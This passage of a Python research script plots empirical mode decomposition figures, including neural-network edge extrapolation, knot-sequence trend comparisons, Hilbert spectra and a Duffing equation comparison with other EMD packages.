max_1_y, 'k-') plt.plot(max_1_y_time, max_1_y_side, 'k-') plt.plot(min_1_y_time, min_1_y, 'k-') plt.plot(min_1_y_time, min_1_y_side, 'k-') plt.plot(dash_max_min_1_y_time, dash_max_min_1_y, 'k--') plt.text(4.48 * np.pi, -2.5, r'$\frac{p_1}{2}$') plt.xlim(3.9 * np.pi, 5.6 * np.pi) plt.xticks((4 * np.pi, 5 * np.pi), (r'4$\pi$', r'5$\pi$')) plt.yticks((-2, -1, 0, 1, 2), ('-2', '-1', '0', '1', '2')) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.84, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/edge_effects_characteristic_wave.png') plt.show() # plot 6 t = np.linspace(5, 95, 100) signal_orig = np.cos(2 * np.pi * t / 50) + 0.6 * np.cos(2 * np.pi * t / 25) + 0.5 * np.sin(2 * np.pi * t / 200) util_nn = emd_utils.Utility(time=t, time_series=signal_orig) maxima = signal_orig[util_nn.max_bool_func_1st_order_fd()] minima = signal_orig[util_nn.min_bool_func_1st_order_fd()] cs_max = CubicSpline(t[util_nn.max_bool_func_1st_order_fd()], maxima) cs_min = CubicSpline(t[util_nn.min_bool_func_1st_order_fd()], minima) time = np.linspace(0, 5 * np.pi, 1001) lsq_signal = np.cos(time) + np.cos(5 * time) knots = np.linspace(0, 5 * np.pi, 101) time_extended = time_extension(time) time_series_extended = np.zeros_like(time_extended) / 0 time_series_extended[int(len(lsq_signal) - 1):int(2 * (len(lsq_signal) - 1) + 1)] = lsq_signal neural_network_m = 200 neural_network_k = 100 # forward -> P = np.zeros((int(neural_network_k + 1), neural_network_m)) for col in range(neural_network_m): P[:-1, col] = lsq_signal[(-(neural_network_m + neural_network_k - col)):(-(neural_network_m - col))] P[-1, col] = 1 # for additive constant t = lsq_signal[-neural_network_m:] # test - top seed_weights = np.ones(neural_network_k) / neural_network_k weights = 0 * seed_weights.copy() train_input = P[:-1, :] lr = 0.01 for iterations in range(1000): output = np.matmul(weights, train_input) error = (t - output) gradients = error * (- train_input) # guess average gradients average_gradients = np.mean(gradients, axis=1) # steepest descent max_gradient_vector = average_gradients * (np.abs(average_gradients) == max(np.abs(average_gradients))) adjustment = - lr * average_gradients # adjustment = - lr * max_gradient_vector weights += adjustment # test - bottom weights_right = np.hstack((weights, 0)) max_count_right = 0 min_count_right = 0 i_right = 0 while ((max_count_right < 1) or (min_count_right < 1)) and (i_right < len(lsq_signal) - 1): time_series_extended[int(2 * (len(lsq_signal) - 1) + 1 + i_right)] = \ sum(weights_right * np.hstack((time_series_extended[ int(2 * (len(lsq_signal) - 1) + 1 - neural_network_k + i_right): int(2 * (len(lsq_signal) - 1) + 1 + i_right)], 1))) i_right += 1 if i_right > 1: emd_utils_max = \ emd_utils.Utility(time=time_extended[int(2 * (len(lsq_signal) - 1) + 1): int(2 * (len(lsq_signal) - 1) + 1 + i_right + 1)], time_series=time_series_extended[int(2 * (len(lsq_signal) - 1) + 1): int(2 * (len(lsq_signal) - 1) + 1 + i_right + 1)]) if sum(emd_utils_max.max_bool_func_1st_order_fd()) > 0: max_count_right += 1 emd_utils_min = \ emd_utils.Utility(time=time_extended[int(2 * (len(lsq_signal) - 1) + 1): int(2 * (len(lsq_signal) - 1) + 1 + i_right + 1)], time_series=time_series_extended[int(2 * (len(lsq_signal) - 1) + 1): int(2 * (len(lsq_signal) - 1) + 1 + i_right + 1)]) if sum(emd_utils_min.min_bool_func_1st_order_fd()) > 0: min_count_right += 1 # backward <- P = np.zeros((int(neural_network_k + 1), neural_network_m)) for col in range(neural_network_m): P[:-1, col] = lsq_signal[int(col + 1):int(col + neural_network_k + 1)] P[-1, col] = 1 # for additive constant t = lsq_signal[:neural_network_m] vx = cvx.Variable(int(neural_network_k + 1)) objective = cvx.Minimize(cvx.norm((2 * (vx * P) + 1 - t), 2)) # linear activation function is arbitrary prob = cvx.Problem(objective) result = prob.solve(verbose=True, solver=cvx.ECOS) weights_left = np.array(vx.value) max_count_left = 0 min_count_left = 0 i_left = 0 while ((max_count_left < 1) or (min_count_left < 1)) and (i_left < len(lsq_signal) - 1): time_series_extended[int(len(lsq_signal) - 2 - i_left)] = \ 2 * sum(weights_left * np.hstack((time_series_extended[int(len(lsq_signal) - 1 - i_left): int(len(lsq_signal) - 1 - i_left + neural_network_k)], 1))) + 1 i_left += 1 if i_left > 1: emd_utils_max = \ emd_utils.Utility(time=time_extended[int(len(lsq_signal) - 1 - i_left):int(len(lsq_signal))], time_series=time_series_extended[int(len(lsq_signal) - 1 - i_left):int(len(lsq_signal))]) if sum(emd_utils_max.max_bool_func_1st_order_fd()) > 0: max_count_left += 1 emd_utils_min = \ emd_utils.Utility(time=time_extended[int(len(lsq_signal) - 1 - i_left):int(len(lsq_signal))], time_series=time_series_extended[int(len(lsq_signal) - 1 - i_left):int(len(lsq_signal))]) if sum(emd_utils_min.min_bool_func_1st_order_fd()) > 0: min_count_left += 1 lsq_utils = emd_utils.Utility(time=time, time_series=lsq_signal) utils_extended = emd_utils.Utility(time=time_extended, time_series=time_series_extended) maxima = lsq_signal[lsq_utils.max_bool_func_1st_order_fd()] maxima_time = time[lsq_utils.max_bool_func_1st_order_fd()] maxima_extrapolate = time_series_extended[utils_extended.max_bool_func_1st_order_fd()][-1] maxima_extrapolate_time = time_extended[utils_extended.max_bool_func_1st_order_fd()][-1] minima = lsq_signal[lsq_utils.min_bool_func_1st_order_fd()] minima_time = time[lsq_utils.min_bool_func_1st_order_fd()] minima_extrapolate = time_series_extended[utils_extended.min_bool_func_1st_order_fd()][-2:] minima_extrapolate_time = time_extended[utils_extended.min_bool_func_1st_order_fd()][-2:] ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.title('Single Neuron Neural Network Example') plt.plot(time, lsq_signal, zorder=2, label='Signal') plt.plot(time_extended, time_series_extended, c='g', zorder=1, label=textwrap.fill('Extrapolated signal', 12)) plt.scatter(maxima_time, maxima, c='r', zorder=3, label='Maxima') plt.scatter(minima_time, minima, c='b', zorder=3, label='Minima') plt.scatter(maxima_extrapolate_time, maxima_extrapolate, c='magenta', zorder=3, label=textwrap.fill('Extrapolated maxima', 12)) plt.scatter(minima_extrapolate_time, minima_extrapolate, c='cyan', zorder=4, label=textwrap.fill('Extrapolated minima', 12)) plt.plot(((time[-302] + time[-301]) / 2) * np.ones(100), np.linspace(-2.75, 2.75, 100), c='k', label=textwrap.fill('Neural network inputs', 13)) plt.plot(np.linspace(((time[-302] + time[-301]) / 2), ((time[-302] + time[-301]) / 2) + 0.1, 100), -2.75 * np.ones(100), c='k') plt.plot(np.linspace(((time[-302] + time[-301]) / 2), ((time[-302] + time[-301]) / 2) + 0.1, 100), 2.75 * np.ones(100), c='k') plt.plot(np.linspace(((time_extended[-1001] + time_extended[-1002]) / 2), ((time_extended[-1001] + time_extended[-1002]) / 2) - 0.1, 100), -2.75 * np.ones(100), c='k') plt.plot(np.linspace(((time_extended[-1001] + time_extended[-1002]) / 2), ((time_extended[-1001] + time_extended[-1002]) / 2) - 0.1, 100), 2.75 * np.ones(100), c='k') plt.plot(((time_extended[-1001] + time_extended[-1002]) / 2) * np.ones(100), np.linspace(-2.75, 2.75, 100), c='k') plt.plot(((time[-202] + time[-201]) / 2) * np.ones(100), np.linspace(-2.75, 2.75, 100), c='gray', linestyle='dashed', label=textwrap.fill('Neural network targets', 13)) plt.plot(np.linspace(((time[-202] + time[-201]) / 2), ((time[-202] + time[-201]) / 2) + 0.1, 100), -2.75 * np.ones(100), c='gray') plt.plot(np.linspace(((time[-202] + time[-201]) / 2), ((time[-202] + time[-201]) / 2) + 0.1, 100), 2.75 * np.ones(100), c='gray') plt.plot(np.linspace(((time_extended[-1001] + time_extended[-1000]) / 2), ((time_extended[-1001] + time_extended[-1000]) / 2) - 0.1, 100), -2.75 * np.ones(100), c='gray') plt.plot(np.linspace(((time_extended[-1001] + time_extended[-1000]) / 2), ((time_extended[-1001] + time_extended[-1000]) / 2) - 0.1, 100), 2.75 * np.ones(100), c='gray') plt.plot(((time_extended[-1001] + time_extended[-1000]) / 2) * np.ones(100), np.linspace(-2.75, 2.75, 100), c='gray', linestyle='dashed') plt.xlim(3.4 * np.pi, 5.6 * np.pi) plt.xticks((4 * np.pi, 5 * np.pi), (r'4$\pi$', r'5$\pi$')) plt.yticks((-2, -1, 0, 1, 2), ('-2', '-1', '0', '1', '2')) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.84, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/neural_network.png') plt.show() # plot 6a np.random.seed(0) time = np.linspace(0, 5 * np.pi, 1001) knots_51 = np.linspace(0, 5 * np.pi, 51) time_series = np.cos(2 * time) + np.cos(4 * time) + np.cos(8 * time) noise = np.random.normal(0, 1, len(time_series)) time_series += noise advemdpy = EMD(time=time, time_series=time_series) imfs_51, hts_51, ifs_51 = advemdpy.empirical_mode_decomposition(knots=knots_51, max_imfs=3, edge_effect='symmetric_anchor', verbose=False)[:3] knots_31 = np.linspace(0, 5 * np.pi, 31) imfs_31, hts_31, ifs_31 = advemdpy.empirical_mode_decomposition(knots=knots_31, max_imfs=2, edge_effect='symmetric_anchor', verbose=False)[:3] knots_11 = np.linspace(0, 5 * np.pi, 11) imfs_11, hts_11, ifs_11 = advemdpy.empirical_mode_decomposition(knots=knots_11, max_imfs=1, edge_effect='symmetric_anchor', verbose=False)[:3] fig, axs = plt.subplots(3, 1) plt.suptitle(textwrap.fill('Comparison of Trends Extracted with Different Knot Sequences', 40)) plt.subplots_adjust(hspace=0.1) axs[0].plot(time, time_series, label='Time series') axs[0].plot(time, imfs_51[1, :] + imfs_51[2, :] + imfs_51[3, :], label=textwrap.fill('Sum of IMF 1, IMF 2, & IMF 3 with 51 knots', 21)) print(f'DFA fluctuation with 51 knots: {np.round(np.var(time_series - (imfs_51[1, :] + imfs_51[2, :] + imfs_51[3, :])), 3)}') for knot in knots_51: axs[0].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[0].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[0].set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi]) axs[0].set_xticklabels(['', '', '', '', '', '']) axs[0].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), 5.5 * np.ones(101), 'k--') axs[0].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), -5.5 * np.ones(101), 'k--') axs[0].plot(0.95 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--') axs[0].plot(1.55 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--', label='Zoomed region') box_0 = axs[0].get_position() axs[0].set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.85, box_0.height]) axs[0].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[1].plot(time, time_series, label='Time series') axs[1].plot(time, imfs_31[1, :] + imfs_31[2, :], label=textwrap.fill('Sum of IMF 1 and IMF 2 with 31 knots', 19)) axs[1].plot(time, imfs_51[2, :] + imfs_51[3, :], label=textwrap.fill('Sum of IMF 2 and IMF 3 with 51 knots', 19)) print(f'DFA fluctuation with 31 knots: {np.round(np.var(time_series - (imfs_31[1, :] + imfs_31[2, :])), 3)}') for knot in knots_31: axs[1].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[1].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[1].set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi]) axs[1].set_xticklabels(['', '', '', '', '', '']) box_1 = axs[1].get_position() axs[1].set_position([box_1.x0 - 0.05, box_1.y0, box_1.width * 0.85, box_1.height]) axs[1].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[1].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), 5.5 * np.ones(101), 'k--') axs[1].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), -5.5 * np.ones(101), 'k--') axs[1].plot(0.95 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--') axs[1].plot(1.55 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--', label='Zoomed region') axs[2].plot(time, time_series, label='Time series') axs[2].plot(time, imfs_11[1, :], label='IMF 1 with 11 knots') axs[2].plot(time, imfs_31[2, :], label='IMF 2 with 31 knots') axs[2].plot(time, imfs_51[3, :], label='IMF 3 with 51 knots') print(f'DFA fluctuation with 11 knots: {np.round(np.var(time_series - imfs_51[3, :]), 3)}') for knot in knots_11: axs[2].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[2].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[2].set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi]) axs[2].set_xticklabels(['$0$', r'$\pi$', r'$2\pi$', r'$3\pi$', r'$4\pi$', r'$5\pi$']) box_2 = axs[2].get_position() axs[2].set_position([box_2.x0 - 0.05, box_2.y0, box_2.width * 0.85, box_2.height]) axs[2].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[2].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), 5.5 * np.ones(101), 'k--') axs[2].plot(np.linspace(0.95 * np.pi, 1.55 * np.pi, 101), -5.5 * np.ones(101), 'k--') axs[2].plot(0.95 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--') axs[2].plot(1.55 * np.pi * np.ones(101), np.linspace(-5.5, 5.5, 101), 'k--', label='Zoomed region') plt.savefig('jss_figures/DFA_different_trends.png') plt.show() # plot 6b fig, axs = plt.subplots(3, 1) plt.suptitle(textwrap.fill('Comparison of Trends Extracted with Different Knot Sequences Zoomed Region', 40)) plt.subplots_adjust(hspace=0.1) axs[0].plot(time, time_series, label='Time series') axs[0].plot(time, imfs_51[1, :] + imfs_51[2, :] + imfs_51[3, :], label=textwrap.fill('Sum of IMF 1, IMF 2, & IMF 3 with 51 knots', 21)) for knot in knots_51: axs[0].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[0].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[0].set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi]) axs[0].set_xticklabels(['', '', '', '', '', '']) box_0 = axs[0].get_position() axs[0].set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.85, box_0.height]) axs[0].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[0].set_ylim(-5.5, 5.5) axs[0].set_xlim(0.95 * np.pi, 1.55 * np.pi) axs[1].plot(time, time_series, label='Time series') axs[1].plot(time, imfs_31[1, :] + imfs_31[2, :], label=textwrap.fill('Sum of IMF 1 and IMF 2 with 31 knots', 19)) axs[1].plot(time, imfs_51[2, :] + imfs_51[3, :], label=textwrap.fill('Sum of IMF 2 and IMF 3 with 51 knots', 19)) for knot in knots_31: axs[1].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[1].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[1].set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi]) axs[1].set_xticklabels(['', '', '', '', '', '']) box_1 = axs[1].get_position() axs[1].set_position([box_1.x0 - 0.05, box_1.y0, box_1.width * 0.85, box_1.height]) axs[1].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[1].set_ylim(-5.5, 5.5) axs[1].set_xlim(0.95 * np.pi, 1.55 * np.pi) axs[2].plot(time, time_series, label='Time series') axs[2].plot(time, imfs_11[1, :], label='IMF 1 with 11 knots') axs[2].plot(time, imfs_31[2, :], label='IMF 2 with 31 knots') axs[2].plot(time, imfs_51[3, :], label='IMF 3 with 51 knots') for knot in knots_11: axs[2].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1) axs[2].plot(knot * np.ones(101), np.linspace(-5, 5, 101), '--', c='grey', zorder=1, label='Knots') axs[2].set_xticks([np.pi, (3 / 2) * np.pi]) axs[2].set_xticklabels([r'$\pi$', r'$\frac{3}{2}\pi$']) box_2 = axs[2].get_position() axs[2].set_position([box_2.x0 - 0.05, box_2.y0, box_2.width * 0.85, box_2.height]) axs[2].legend(loc='center left', bbox_to_anchor=(1, 0.5), fontsize=8) axs[2].set_ylim(-5.5, 5.5) axs[2].set_xlim(0.95 * np.pi, 1.55 * np.pi) plt.savefig('jss_figures/DFA_different_trends_zoomed.png') plt.show() hs_ouputs = hilbert_spectrum(time, imfs_51, hts_51, ifs_51, max_frequency=12, plot=False) # plot 6c ax = plt.subplot(111) figure_size = plt.gcf().get_size_inches() factor = 0.9 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of Simple Sinusoidal Time Seres with Added Noise', 50)) x_hs, y, z = hs_ouputs z_min, z_max = 0, np.abs(z).max() ax.pcolormesh(x_hs, y, np.abs(z), cmap='gist_rainbow', vmin=z_min, vmax=z_max) ax.plot(x_hs[0, :], 8 * np.ones_like(x_hs[0, :]), '--', label=r'$\omega = 8$', Linewidth=3) ax.plot(x_hs[0, :], 4 * np.ones_like(x_hs[0, :]), '--', label=r'$\omega = 4$', Linewidth=3) ax.plot(x_hs[0, :], 2 * np.ones_like(x_hs[0, :]), '--', label=r'$\omega = 2$', Linewidth=3) ax.set_xticks([0, np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi]) ax.set_xticklabels(['$0$', r'$\pi$', r'$2\pi$', r'$3\pi$', r'$4\pi$']) plt.ylabel(r'Frequency (rad.s$^{-1}$)') plt.xlabel('Time (s)') box_0 = ax.get_position() ax.set_position([box_0.x0, box_0.y0 + 0.05, box_0.width * 0.85, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/DFA_hilbert_spectrum.png') plt.show() # plot 6c time = np.linspace(0, 5 * np.pi, 1001) time_series = np.cos(time) + np.cos(5 * time) knots = np.linspace(0, 5 * np.pi, 51) fluc = Fluctuation(time=time, time_series=time_series) max_unsmoothed = fluc.envelope_basis_function_approximation(knots_for_envelope=knots, extrema_type='maxima', smooth=False) max_smoothed = fluc.envelope_basis_function_approximation(knots_for_envelope=knots, extrema_type='maxima', smooth=True) min_unsmoothed = fluc.envelope_basis_function_approximation(knots_for_envelope=knots, extrema_type='minima', smooth=False) min_smoothed = fluc.envelope_basis_function_approximation(knots_for_envelope=knots, extrema_type='minima', smooth=True) util = Utility(time=time, time_series=time_series) maxima = util.max_bool_func_1st_order_fd() minima = util.min_bool_func_1st_order_fd() ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.title(textwrap.fill('Plot Demonstrating Unsmoothed Extrema Envelopes if Schoenberg–Whitney Conditions are Not Satisfied', 50)) plt.plot(time, time_series, label='Time series', zorder=2, LineWidth=2) plt.scatter(time[maxima], time_series[maxima], c='r', label='Maxima', zorder=10) plt.scatter(time[minima], time_series[minima], c='b', label='Minima', zorder=10) plt.plot(time, max_unsmoothed[0], label=textwrap.fill('Unsmoothed maxima envelope', 10), c='darkorange') plt.plot(time, max_smoothed[0], label=textwrap.fill('Smoothed maxima envelope', 10), c='red') plt.plot(time, min_unsmoothed[0], label=textwrap.fill('Unsmoothed minima envelope', 10), c='cyan') plt.plot(time, min_smoothed[0], label=textwrap.fill('Smoothed minima envelope', 10), c='blue') for knot in knots[:-1]: plt.plot(knot * np.ones(101), np.linspace(-3.0, -2.0, 101), '--', c='grey', zorder=1) plt.plot(knots[-1] * np.ones(101), np.linspace(-3.0, -2.0, 101), '--', c='grey', label='Knots', zorder=1) plt.xticks((0, 1 * np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi), (r'$0$', r'$\pi$', r'2$\pi$', r'3$\pi$', r'4$\pi$', r'5$\pi$')) plt.yticks((-2, -1, 0, 1, 2), ('-2', '-1', '0', '1', '2')) plt.xlim(-0.25 * np.pi, 5.25 * np.pi) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.84, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/Schoenberg_Whitney_Conditions.png') plt.show() # plot 7 a = 0.25 width = 0.2 time = np.linspace((0 + a) * np.pi, (5 - a) * np.pi, 1001) knots = np.linspace((0 + a) * np.pi, (5 - a) * np.pi, 11) time_series = np.cos(time) + np.cos(5 * time) utils = emd_utils.Utility(time=time, time_series=time_series) max_bool = utils.max_bool_func_1st_order_fd() maxima_x = time[max_bool] maxima_y = time_series[max_bool] min_bool = utils.min_bool_func_1st_order_fd() minima_x = time[min_bool] minima_y = time_series[min_bool] inflection_bool = utils.inflection_point() inflection_x = time[inflection_bool] inflection_y = time_series[inflection_bool] fluctuation = emd_mean.Fluctuation(time=time, time_series=time_series) maxima_envelope = fluctuation.envelope_basis_function_approximation(knots, 'maxima', smooth=False, smoothing_penalty=0.2, edge_effect='none', spline_method='b_spline')[0] maxima_envelope_smooth = fluctuation.envelope_basis_function_approximation(knots, 'maxima', smooth=True, smoothing_penalty=0.2, edge_effect='none', spline_method='b_spline')[0] minima_envelope = fluctuation.envelope_basis_function_approximation(knots, 'minima', smooth=False, smoothing_penalty=0.2, edge_effect='none', spline_method='b_spline')[0] minima_envelope_smooth = fluctuation.envelope_basis_function_approximation(knots, 'minima', smooth=True, smoothing_penalty=0.2, edge_effect='none', spline_method='b_spline')[0] inflection_points_envelope = fluctuation.direct_detrended_fluctuation_estimation(knots, smooth=True, smoothing_penalty=0.2, technique='inflection_points')[0] binomial_points_envelope = fluctuation.direct_detrended_fluctuation_estimation(knots, smooth=True, smoothing_penalty=0.2, technique='binomial_average', order=21, increment=20)[0] derivative_of_lsq = utils.derivative_forward_diff() derivative_time = time[:-1] derivative_knots = np.linspace(knots[0], knots[-1], 31) # change (1) detrended_fluctuation_technique and (2) max_internal_iter and (3) debug (confusing with external debugging) emd = AdvEMDpy.EMD(time=derivative_time, time_series=derivative_of_lsq) imf_1_of_derivative = emd.empirical_mode_decomposition(knots=derivative_knots, knot_time=derivative_time, text=False, verbose=False)[0][1, :] utils = emd_utils.Utility(time=time[:-1], time_series=imf_1_of_derivative) optimal_maxima = np.r_[False, utils.derivative_forward_diff() < 0, False] & \ np.r_[utils.zero_crossing() == 1, False] optimal_minima = np.r_[False, utils.derivative_forward_diff() > 0, False] & \ np.r_[utils.zero_crossing() == 1, False] EEMD_maxima_envelope = fluctuation.envelope_basis_function_approximation_fixed_points(knots, 'maxima', optimal_maxima, optimal_minima, smooth=False, smoothing_penalty=0.2, edge_effect='none')[0] EEMD_minima_envelope = fluctuation.envelope_basis_function_approximation_fixed_points(knots, 'minima', optimal_maxima, optimal_minima, smooth=False, smoothing_penalty=0.2, edge_effect='none')[0] ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.title('Detrended Fluctuation Analysis Examples') plt.plot(time, time_series, LineWidth=2, label='Time series') plt.scatter(maxima_x, maxima_y, c='r', zorder=4, label='Maxima') plt.scatter(minima_x, minima_y, c='b', zorder=4, label='Minima') plt.scatter(time[optimal_maxima], time_series[optimal_maxima], c='darkred', zorder=4, label=textwrap.fill('Optimal maxima', 10)) plt.scatter(time[optimal_minima], time_series[optimal_minima], c='darkblue', zorder=4, label=textwrap.fill('Optimal minima', 10)) plt.scatter(inflection_x, inflection_y, c='magenta', zorder=4, label=textwrap.fill('Inflection points', 10)) plt.plot(time, maxima_envelope, c='darkblue', label=textwrap.fill('EMD envelope', 10)) plt.plot(time, minima_envelope, c='darkblue') plt.plot(time, (maxima_envelope + minima_envelope) / 2, c='darkblue') plt.plot(time, maxima_envelope_smooth, c='darkred', label=textwrap.fill('SEMD envelope', 10)) plt.plot(time, minima_envelope_smooth, c='darkred') plt.plot(time, (maxima_envelope_smooth + minima_envelope_smooth) / 2, c='darkred') plt.plot(time, EEMD_maxima_envelope, c='darkgreen', label=textwrap.fill('EEMD envelope', 10)) plt.plot(time, EEMD_minima_envelope, c='darkgreen') plt.plot(time, (EEMD_maxima_envelope + EEMD_minima_envelope) / 2, c='darkgreen') plt.plot(time, inflection_points_envelope, c='darkorange', label=textwrap.fill('Inflection point envelope', 10)) plt.plot(time, binomial_points_envelope, c='deeppink', label=textwrap.fill('Binomial average envelope', 10)) plt.plot(time, np.cos(time), c='black', label='True mean') plt.xticks((0, 1 * np.pi, 2 * np.pi, 3 * np.pi, 4 * np.pi, 5 * np.pi), (r'$0$', r'$\pi$', r'2$\pi$', r'3$\pi$', r'4$\pi$', r'5$\pi$')) plt.yticks((-2, -1, 0, 1, 2), ('-2', '-1', '0', '1', '2')) plt.xlim(-0.25 * np.pi, 5.25 * np.pi) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.84, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/detrended_fluctuation_analysis.png') plt.show() # Duffing Equation Example def duffing_equation(xy, ts): gamma = 0.1 epsilon = 1 omega = ((2 * np.pi) / 25) return [xy[1], xy[0] - epsilon * xy[0] ** 3 + gamma * np.cos(omega * ts)] t = np.linspace(0, 150, 1501) XY0 = [1, 1] solution = odeint(duffing_equation, XY0, t) x = solution[:, 0] dxdt = solution[:, 1] x_points = [0, 50, 100, 150] x_names = {0, 50, 100, 150} y_points_1 = [-2, 0, 2] y_points_2 = [-1, 0, 1] fig, axs = plt.subplots(2, 1) plt.subplots_adjust(hspace=0.2) axs[0].plot(t, x) axs[0].set_title('Duffing Equation Displacement') axs[0].set_ylim([-2, 2]) axs[0].set_xlim([0, 150]) axs[1].plot(t, dxdt) axs[1].set_title('Duffing Equation Velocity') axs[1].set_ylim([-1.5, 1.5]) axs[1].set_xlim([0, 150]) axis = 0 for ax in axs.flat: ax.label_outer() if axis == 0: ax.set_ylabel('x(t)') ax.set_yticks(y_points_1) if axis == 1: ax.set_ylabel(r'$ \dfrac{dx(t)}{dt} $') ax.set(xlabel='t') ax.set_yticks(y_points_2) ax.set_xticks(x_points) ax.set_xticklabels(x_names) axis += 1 plt.savefig('jss_figures/Duffing_equation.png') plt.show() # compare other packages Duffing - top pyemd = pyemd0215() py_emd = pyemd(x) IP, IF, IA = emd040.spectra.frequency_transform(py_emd.T, 10, 'hilbert') freq_edges, freq_bins = emd040.spectra.define_hist_bins(0, 0.2, 100) hht = emd040.spectra.hilberthuang(IF, IA, freq_edges) hht = gaussian_filter(hht, sigma=1) ax = plt.subplot(111) figure_size = plt.gcf().get_size_inches() factor = 1.0 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of Duffing Equation using PyEMD 0.2.10', 40)) plt.pcolormesh(t, freq_bins, hht, cmap='gist_rainbow', vmin=0, vmax=np.max(np.max(np.abs(hht)))) plt.plot(t[:-1], 0.124 * np.ones_like(t[:-1]), '--', label=textwrap.fill('Hamiltonian frequency approximation', 15)) plt.plot(t[:-1], 0.04 * np.ones_like(t[:-1]), 'g--', label=textwrap.fill('Driving function frequency', 15)) plt.xticks([0, 50, 100, 150]) plt.yticks([0, 0.1, 0.2]) plt.ylabel('Frequency (Hz)') plt.xlabel('Time (s)') box_0 = ax.get_position() ax.set_position([box_0.x0, box_0.y0 + 0.05, box_0.width * 0.75, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/Duffing_equation_ht_pyemd.png') plt.show() plt.show() emd_sift = emd040.sift.sift(x) IP, IF, IA = emd040.spectra.frequency_transform(emd_sift, 10, 'hilbert') freq_edges, freq_bins = emd040.spectra.define_hist_bins(0, 0.2, 100) hht = emd040.spectra.hilberthuang(IF, IA, freq_edges) hht = gaussian_filter(hht, sigma=1) ax = plt.subplot(111) figure_size = plt.gcf().get_size_inches() factor = 1.0 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.title(textwrap.fill('Gaussian Filtered Hilbert Spectrum of Duffing Equation using emd 0.3.3', 40)) plt.pcolormesh(t, freq_bins, hht, cmap='gist_rainbow', vmin=0, vmax=np.max(np.max(np.abs(hht)))) plt.plot(t[:-1], 0.124 * np.ones_like(t[:-1]), '--', label=textwrap.fill('Hamiltonian frequency approximation', 15)) plt.plot(t[:-1], 0.04 * np.ones_like(t[:-1]), 'g--', label=textwrap.fill('Driving function frequency', 15)) plt.xticks([0, 50, 100, 150]) plt.yticks([0, 0.1, 0.2]) plt.ylabel('Frequency (Hz)') plt.xlabel('Time (s)') box_0 = ax.get_position() ax.set_position([box_0.x0, box_0.y0 + 0.05, box_0.width * 0.75, box_0.height * 0.9]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/Duffing_equation_ht_emd.png') plt.show() # compare other packages Duffing - bottom emd_duffing = AdvEMDpy.EMD(time=t, time_series=x) emd_duff, emd_ht_duff, emd_if_duff, _, _, _, _ = emd_duffing.empirical_mode_decomposition(verbose=False) fig, axs = plt.subplots(2, 1) plt.subplots_adjust(hspace=0.3) figure_size = 